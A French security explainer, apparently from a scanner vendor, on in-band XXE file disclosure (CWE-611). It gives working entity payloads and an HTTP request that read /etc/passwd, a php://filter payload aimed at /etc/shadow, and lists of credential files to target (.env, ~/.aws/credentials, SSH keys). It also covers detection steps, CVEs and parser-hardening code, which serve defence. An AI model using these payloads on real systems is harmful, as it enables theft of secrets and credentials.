XXE divulgation de fichier (CWE-611) : schéma file:// pour lire /etc/passwd, clés SSH et secrets .env, renvoyés directement dans la réponse XML.
TL;DR
file:// lit des fichiers serveur arbitraires et renvoie le contenu en ligne dans la réponse XML<!ENTITY xxe SYSTEM "file:///etc/passwd"> + &xxe; dans le corps du document/etc/passwd, wp-config.php, .env, application.properties, ~/.aws/credentialsdisallow-doctype-decl: true)La divulgation de fichier XXE classique est la variante en bande de l'injection d'entité externe XML : l'attaquant définit une entité externe pointant vers un URI file://, intègre une référence à cette entité dans le corps XML, et le serveur renvoie le contenu du fichier directement dans la réponse HTTP. L'ensemble de l'attaque — livraison et exfiltration — se déroule via le même canal HTTP.
La faille (CWE-611) existe au niveau de la configuration du parseur, pas dans la logique applicative. Un parseur XML avec des paramètres par défaut — DocumentBuilderFactory de Java, ou DOMDocument de PHP avec LIBXML_NOENT — traite les déclarations <!DOCTYPE> et résout les URI d'entités SYSTEM pendant la phase de parsing, avant que le code applicatif ne voie jamais le contenu du document. Remarque : xml.etree.ElementTree de Python lève une ExpatError sur les déclarations d'entités externes et ne les résout pas (sûr contre XXE), mais reste vulnérable au DoS Billion Laughs — utiliser defusedxml pour une protection complète.
Sous OWASP A05:2021 (Mauvaise configuration de sécurité), cette vulnérabilité est classifiée comme une défaillance de configuration plutôt qu'une faille d'injection au niveau du code. La correction est un changement de configuration du parseur, pas une refactorisation de la logique applicative.
Séquence d'attaque :
<!DOCTYPE> avec une entité SYSTEM : <!ENTITY xxe SYSTEM "file:///etc/passwd">.&xxe; dans un élément que l'application lit et reflète.POST /api/utilisateurs/profil HTTP/1.1
Host: app.exemple.com
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE infoUtilisateur [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<infoUtilisateur>
<prenom>&xxe;</prenom>
<nom>Dupont</nom>
</infoUtilisateur>HTTP/1.1 200 OK
Content-Type: application/json
{
"prenom": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...",
"nom": "Dupont"
}| Fichier cible | OS | Sensibilité | Contenu typique |
|---|---|---|---|
/etc/passwd | Linux | Moyen | Noms d'utilisateurs, UIDs, répertoires personnels |
/etc/shadow | Linux | Critique | Hachages de mots de passe (nécessite root) |
~/.aws/credentials | Linux | Critique | Clé d'accès AWS + secret |
wp-config.php | Linux/Windows | Critique | Identifiants MySQL, clés d'authentification |
application.properties | Linux | Critique | URL DB, clés API, secrets |
.env | Linux | Critique | Tous les secrets applicatifs |
web.config | Windows | Critique | Chaînes de connexion, secrets |
/proc/self/environ | Linux | Élevé | Variables d'environnement (secrets dans env) |
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/shadow">
]>
<racine><donnees>&xxe;</donnees></racine>La réponse contient une chaîne base64. Décoder hors ligne : echo "CHAINEBASE64" | base64 -d. Cette technique lit des fichiers binaires, des clés SSH et des fichiers contenant des octets nuls qui casseraient les lectures SYSTEM entity standard.
CVE-2024-34102 — Adobe Commerce CosmicSting (CVSS 9.8)
L'exemple de référence de 2024 pour le XXE en bande menant à RCE. L'attaque lit app/etc/env.php, un fichier de configuration PHP contenant la crypt/key de Magento. Cette clé sert à signer les JWT admin. Avec la clé extraite, l'attaquant forge un jeton d'authentification admin, accède à l'API REST admin et obtient l'exécution de code. Plus de 4 275 boutiques compromises en 72 heures.
CVE-2024-30043 — Microsoft SharePoint Server (CVSS 6.5)
Les utilisateurs SharePoint authentifiés pouvaient soumettre des requêtes XML déclenchant la divulgation de fichiers en bande. La vulnérabilité exposait les fichiers de configuration du serveur SharePoint et les informations de chemin internes.
CVE-2025-49493 — Akamai CloudTest (CVSS 9.1)
Plusieurs points de terminaison SOAP renvoyaient le contenu des fichiers dans des réponses d'erreur SOAP lors de la soumission de payloads d'entités XML. Le mécanisme d'erreur SOAP reflétait la valeur de l'entité dans le message d'erreur.
HackerOne #293795 — API REST Uberflip (Élevé)
Un point de terminaison d'API REST acceptait des corps XML sans restrictions d'entités. Le chercheur a confirmé la divulgation de fichiers en récupérant le contenu de /etc/passwd directement dans la réponse API.
Tester l'expansion d'entités avec un canari interne :
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test "XXECANARY-8675309">]>
<racine><champ>&test;</champ></racine>Escalader vers un fichier sécurisé et non sensible :
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/version">]>
<racine><champ>&xxe;</champ></racine>Identifier un fichier cible selon la pile applicative :
file:///var/www/html/wp-config.php, file:///var/www/html/.envfile:///app/application.propertiesfile:///app/settings.pyfile:///C:/inetpub/wwwroot/web.configBurp Suite Pro soumet des canaris d'entités internes et vérifie leur présence dans le corps de la réponse. Pour le XXE en bande, il vérifie que le canari apparaît dans la réponse.
BreachVex détecte la divulgation de fichier classique après avoir d'abord confirmé l'expansion d'entités : il soumet une entité SYSTEM référençant /etc/passwd et recherche des marqueurs de lecture de fichier connus (root:x:0:0, daemon:x:) dans le corps de la réponse. Une correspondance à forte confiance est rapportée automatiquement.
// Java — désactiver DOCTYPE bloque tout le XXE en bande
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setExpandEntityReferences(false);# Python — remplacer la bibliothèque standard xml par defusedxml
from defusedxml import ElementTree as ET # remplace import xml.etree.ElementTree as ET
arbre = ET.parse(fichier_xml) # entités SYSTEM file:// bloquées automatiquement// .NET — interdire DTD et résolveur nul
var parametres = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
using var lecteur = XmlReader.Create(flux, parametres);// PHP — ne jamais passer LIBXML_NOENT
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET); // PHP 8.0+ : entités externes désactivées par défaut pour DOMDocumentLes patterns de liste noire pour <!DOCTYPE ne constituent pas une défense primaire fiable. Ils peuvent être contournés via l'encodage UTF-16, des astuces d'encodage ou en utilisant XInclude (qui n'utilise pas DOCTYPE). La configuration au niveau du parseur est le seul contrôle fiable.
Tout fichier lisible par l'utilisateur du système d'exploitation exécutant le service de traitement XML. Cibles courantes : /etc/passwd (énumération des utilisateurs), /etc/shadow (hachages de mots de passe, si root), fichiers de configuration applicatifs (wp-config.php, application.properties, .env, database.yml), clés privées SSH (~/.ssh/id_rsa), identifiants cloud (~/.aws/credentials) et keystores Java. Sous Windows : C:\Windows\System32\drivers\etc\hosts, web.config, applicationHost.config.
Une entité SYSTEM est une déclaration d'entité externe XML qui référence un URI avec le mot-clé SYSTEM : <!ENTITY nom SYSTEM 'URI'>. Quand le parseur rencontre &nom; dans le corps du document, il récupère le contenu de l'URI et le substitue en ligne. Les schémas URI pris en charge par la plupart des parseurs incluent file://, http://, https:// et ftp://. Le mot-clé SYSTEM distingue les entités externes (qui récupèrent des URI) des entités internes (qui définissent des valeurs de chaînes littérales).
Le XXE classique en bande renvoie le contenu du fichier directement dans la réponse HTTP — l'attaquant le lit immédiatement. Le XXE aveugle OOB exfiltre le contenu via un canal secondaire (rappel DNS ou HTTP) quand l'application ne reflète pas la valeur de l'entité parsée. Le classique est plus simple à exploiter mais plus facile à détecter ; l'aveugle OOB est plus courant en pratique car les applications modernes reflètent rarement les valeurs d'entités XML brutes.
Approche en deux étapes : d'abord tester l'expansion d'entités avec une entité interne (<!ENTITY test 'XXECANARY123'>) — si XXECANARY123 apparaît dans la réponse, l'expansion est confirmée. Puis escalader vers une entité SYSTEM : <!ENTITY xxe SYSTEM 'file:///etc/passwd'>. Si le contenu de /etc/passwd apparaît, la divulgation classique est confirmée. BreachVex utilise des tokens canari uniques par probe pour éviter les faux positifs inter-probes.
Partiellement. XML exige du texte UTF-8 ou UTF-16 bien formé. Les fichiers binaires contenant des octets en dehors de la plage de caractères XML valide provoquent des erreurs de parseur et peuvent tronquer la réponse. Les fichiers binaires peuvent être lus via les filtres PHP (php://filter/convert.base64-encode/resource=...) qui encodent le contenu en base64 avant substitution. Cette technique contourne la restriction de bonne formation XML sur le contenu binaire.
CVE-2024-30043 (Microsoft SharePoint, CVSS 6.5) — un utilisateur SharePoint authentifié peut lire des fichiers depuis le système de fichiers serveur. CVE-2025-49493 (Akamai CloudTest, CVSS 9.1) — les points de terminaison SOAP renvoient le contenu des fichiers dans les réponses d'erreur SOAP. CVE-2024-34102 (Adobe Commerce CosmicSting, CVSS 9.8) — lit app/etc/env.php pour extraire la clé de chiffrement et initier une chaîne RCE. CVE-2025-13096 (IBM BAW, CVSS 8.2) — le traitement XML expose la configuration interne.
Les URI de fichier Windows utilisent le format file:///C:/chemin/vers/fichier ou file:///C:\chemin\vers\fichier (avec des barres obliques : file:///C:/Windows/System32/drivers/etc/hosts). Les chemins UNC (file://SERVEUR/partage/fichier) et les chemins locaux fonctionnent tous deux sur les parseurs Java/Xerces et MSXML. Cibles Windows spécifiques : C:\Windows\win.ini, C:\inetpub\wwwroot\web.config, C:\Users\<username>\.aws\credentials.
HTTP 400 avec le texte 'DOCTYPE not allowed', 'DTD is prohibited' ou 'Feature disallow-doctype-decl is enabled' indique que le parseur est durci contre DOCTYPE. HTTP 400 avec 'External entity' ou 'Disallowed URI scheme' indique que la résolution d'entités est bloquée. HTTP 415 signifie que le point de terminaison n'accepte pas XML du tout. HTTP 200 avec la réponse normale de l'application (mais sans contenu de fichier) peut indiquer que l'expansion d'entités est désactivée mais que le document a été traité normalement.
Utiliser un fichier non sensible et toujours présent : sur Linux, /proc/version (chaîne de version du noyau) ou /proc/sys/kernel/hostname (nom d'hôte) sont sécurisés à lire et confirment l'accès file:// sans exposer des identifiants. Sur Windows, C:\Windows\System32\drivers\etc\hosts est peu sensible. Alternativement, utiliser une entité locale avec une chaîne canari unique, puis escalader vers un fichier connu non sensible pour confirmer la résolution d'entité SYSTEM avant de cibler des chemins sensibles.
Les filtres PHP permettent de lire des fichiers binaires ou multi-lignes en les encodant en base64 : <!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/passwd'>. Le parseur récupère le flux PHP, qui encode le contenu du fichier en base64. La réponse contient une chaîne base64 que l'attaquant décode hors ligne. Cette technique contourne la restriction XML sur le contenu binaire et gère les fichiers contenant des sauts de ligne ou des octets nuls.